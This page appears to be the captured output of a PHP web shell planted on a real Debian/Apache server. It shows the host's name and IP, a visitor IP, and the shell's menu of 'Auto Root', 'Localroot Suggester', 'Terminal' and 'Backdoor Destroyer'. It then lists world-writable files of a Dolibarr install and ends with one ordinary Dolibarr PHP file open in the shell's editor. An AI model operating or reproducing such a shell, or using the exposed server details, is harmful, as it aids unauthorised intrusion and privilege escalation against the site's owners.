Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
asiafood.apps-dev.fr /
core /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax
[ DIR ]
drwxrwxrwx
2020-11-01 12:56
boxes
[ DIR ]
drwxrwxrwx
2020-11-01 12:56
class
[ DIR ]
drwxrwxrwx
2020-11-01 12:56
db
[ DIR ]
drwxrwxrwx
2020-11-01 12:56
filemanagerdol
[ DIR ]
drwxrwxrwx
2020-11-01 12:56
js
[ DIR ]
drwxrwxrwx
2020-11-01 12:56
lib
[ DIR ]
drwxrwxrwx
2020-11-01 12:56
login
[ DIR ]
drwxrwxrwx
2020-11-01 12:56
menus
[ DIR ]
drwxrwxrwx
2020-11-01 12:56
modules
[ DIR ]
drwxrwxrwx
2020-11-01 12:56
tpl
[ DIR ]
drwxrwxrwx
2020-11-01 12:56
triggers
[ DIR ]
drwxrwxrwx
2020-11-01 12:56
.htaccess
510
B
-rw-r--r--
2023-01-18 07:38
actions_addupdatedelete.inc.php
6.59
KB
-rwxrwxrwx
2020-11-01 12:56
actions_builddoc.inc.php
4.99
KB
-rwxrwxrwx
2020-11-01 12:56
actions_changeselectedfields.inc.php
1.55
KB
-rwxrwxrwx
2020-11-01 12:56
actions_comments.inc.php
2.08
KB
-rwxrwxrwx
2020-11-01 12:56
actions_dellink.inc.php
1.59
KB
-rwxrwxrwx
2020-11-01 12:56
actions_extrafields.inc.php
11.87
KB
-rwxrwxrwx
2020-11-01 12:56
actions_fetchobject.inc.php
1.94
KB
-rwxrwxrwx
2020-11-01 12:56
actions_lineupdown.inc.php
2.54
KB
-rwxrwxrwx
2020-11-01 12:56
actions_linkedfiles.inc.php
9.75
KB
-rwxrwxrwx
2020-11-01 12:56
actions_massactions.inc.php
38.65
KB
-rwxrwxrwx
2020-11-01 12:56
actions_printing.inc.php
3.4
KB
-rwxrwxrwx
2020-11-01 12:56
actions_sendmails.inc.php
18.21
KB
-rwxrwxrwx
2020-11-01 12:56
actions_setmoduleoptions.inc.php
3.59
KB
-rwxrwxrwx
2020-11-01 12:56
actions_setnotes.inc.php
2.17
KB
-rwxrwxrwx
2020-11-01 12:56
antispamimage.php
1.88
KB
-rwxrwxrwx
2020-11-01 12:56
commonfieldsinexport.inc.php
1.78
KB
-rwxrwxrwx
2020-11-01 12:56
datepicker.php
9.15
KB
-rwxrwxrwx
2020-11-01 12:56
doxygen.php
1.71
KB
-rwxrwxrwx
2020-11-01 12:56
extrafieldsinexport.inc.php
2.25
KB
-rwxrwxrwx
2020-11-01 12:56
get_info.php
7.7
KB
-rwxrwxrwx
2020-11-01 12:56
get_menudiv.php
6.96
KB
-rwxrwxrwx
2020-11-01 12:56
index.html
0
B
-rwxrwxrwx
2020-11-01 12:56
index.php
6.98
KB
-rw-r--r--
2023-01-18 07:38
photos_resize.php
16.72
KB
-rwxrwxrwx
2020-11-01 12:56
search.php
4.94
KB
-rwxrwxrwx
2020-11-01 12:56
search_page.php
4.25
KB
-rwxrwxrwx
2020-11-01 12:56
tools.php
1.49
KB
-rwxrwxrwx
2020-11-01 12:56
website.inc.php
1.04
KB
-rwxrwxrwx
2020-11-01 12:56
Save
Rename
<?php /* Copyright (C) 2017 Laurent Destailleur <eldy@users.sourceforge.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * or see http://www.gnu.org/ */ /** * \file htdocs/core/actions_addupdatedelete.inc.php * \brief Code for common actions cancel / add / update / delete / clone */ // $action or $cancel must be defined // $object must be defined // $permissiontoadd must be defined // $permissiontodelete must be defined // $backurlforlist must be defined // $backtopage may be defined // $triggermodname may be defined if ($cancel) { if (! empty($backtopage)) { header("Location: ".$backtopage); exit; } $action=''; } // Action to add record if ($action == 'add' && ! empty($permissiontoadd)) { foreach ($object->fields as $key => $val) { if (in_array($key, array('rowid', 'entity', 'date_creation', 'tms', 'fk_user_creat', 'fk_user_modif', 'import_key'))) continue; // Ignore special fields // Set value to insert if (in_array($object->fields[$key]['type'], array('text', 'html'))) { $value = GETPOST($key,'none'); } elseif ($object->fields[$key]['type']=='date') { $value = dol_mktime(12, 0, 0, GETPOST($key.'month'), GETPOST($key.'day'), GETPOST($key.'year')); } elseif ($object->fields[$key]['type']=='datetime') { $value = dol_mktime(GETPOST($key.'hour'), GETPOST($key.'min'), 0, GETPOST($key.'month'), GETPOST($key.'day'), GETPOST($key.'year')); } elseif ($object->fields[$key]['type']=='price') { $value = price2num(GETPOST($key)); } else { $value = GETPOST($key,'alpha'); } if (preg_match('/^integer:/i', $object->fields[$key]['type']) && $value == '-1') $value=''; // This is an implicit foreign key field if (! empty($object->fields[$key]['foreignkey']) && $value == '-1') $value=''; // This is an explicit foreign key field $object->$key=$value; if ($val['notnull'] > 0 && $object->$key == '' && is_null($val['default'])) { $error++; setEventMessages($langs->trans("ErrorFieldRequired",$langs->transnoentitiesnoconv($val['label'])), null, 'errors'); } } if (! $error) { $result=$object->createCommon($user); if ($result > 0) { // Creation OK $urltogo=$backtopage?str_replace('__ID__', $result, $backtopage):$backurlforlist; header("Location: ".$urltogo); exit; } else { // Creation KO if (! empty($object->errors)) setEventMessages(null, $object->errors, 'errors'); else setEventMessages($object->error, null, 'errors'); $action='create'; } } else { $action='create'; } } // Action to update record if ($action == 'update' && ! empty($permissiontoadd)) { foreach ($object->fields as $key => $val) { if (! GETPOSTISSET($key)) continue; // The field was not submited to be edited if (in_array($key, array('rowid', 'entity', 'date_creation', 'tms', 'fk_user_creat', 'fk_user_modif', 'import_key'))) continue; // Ignore special fields // Set value to update if (in_array($object->fields[$key]['type'], array('text', 'html'))) { $value = GETPOST($key,'none'); } elseif ($object->fields[$key]['type']=='date') { $value = dol_mktime(12, 0, 0, GETPOST($key.'month'), GETPOST($key.'day'), GETPOST($key.'year')); } elseif ($object->fields[$key]['type']=='datetime') { $value = dol_mktime(GETPOST($key.'hour'), GETPOST($key.'min'), 0, GETPOST($key.'month'), GETPOST($key.'day'), GETPOST($key.'year')); } elseif ($object->fields[$key]['type']=='price') { $value = price2num(GETPOST($key)); } else { $value = GETPOST($key,'alpha'); } if (preg_match('/^integer:/i', $object->fields[$key]['type']) && $value == '-1') $value=''; // This is an implicit foreign key field if (! empty($object->fields[$key]['foreignkey']) && $value == '-1') $value=''; // This is an explicit foreign key field $object->$key=$value; if ($val['notnull'] > 0 && $object->$key == '' && is_null($val['default'])) { $error++; setEventMessages($langs->trans("ErrorFieldRequired",$langs->transnoentitiesnoconv($val['label'])), null, 'errors'); } } if (! $error) { $result=$object->updateCommon($user); if ($result > 0) { $action='view'; } else { // Creation KO setEventMessages($object->error, $object->errors, 'errors'); $action='edit'; } } else { $action='edit'; } } // Action to update one extrafield if ($action == "update_extras" && ! empty($permissiontoadd)) { $object->fetch(GETPOST('id','int')); $attributekey = GETPOST('attribute','alpha'); $attributekeylong = 'options_'.$attributekey; $object->array_options['options_'.$attributekey] = GETPOST($attributekeylong,' alpha'); $result = $object->insertExtraFields(empty($triggermodname)?'':$triggermodname, $user); if ($result > 0) { setEventMessages($langs->trans('RecordSaved'), null, 'mesgs'); $action = 'view'; } else { setEventMessages($object->error, $object->errors, 'errors'); $action = 'edit_extras'; } } // Action to delete if ($action == 'confirm_delete' && ! empty($permissiontodelete)) { $result=$object->deleteCommon($user); if ($result > 0) { // Delete OK setEventMessages("RecordDeleted", null, 'mesgs'); header("Location: ".$backurlforlist); exit; } else { if (! empty($object->errors)) setEventMessages(null, $object->errors, 'errors'); else setEventMessages($object->error, null, 'errors'); } } // Action clone object if ($action == 'confirm_clone' && $confirm == 'yes' && ! empty($permissiontoadd)) { if (1==0 && ! GETPOST('clone_content') && ! GETPOST('clone_receivers')) { setEventMessages($langs->trans("NoCloneOptionsSpecified"), null, 'errors'); } else { if ($object->id > 0) { // Because createFromClone modifies the object, we must clone it so that we can restore it later $orig = clone $object; $result=$object->createFromClone($user, $object->id); if ($result > 0) { $newid = 0; if (is_object($result)) $newid = $result->id; else $newid = $result; header("Location: ".$_SERVER['PHP_SELF'].'?id='.$newid); // Open record of new object exit; } else { setEventMessages($object->error, $object->errors, 'errors'); $object = $orig; $action=''; } } } }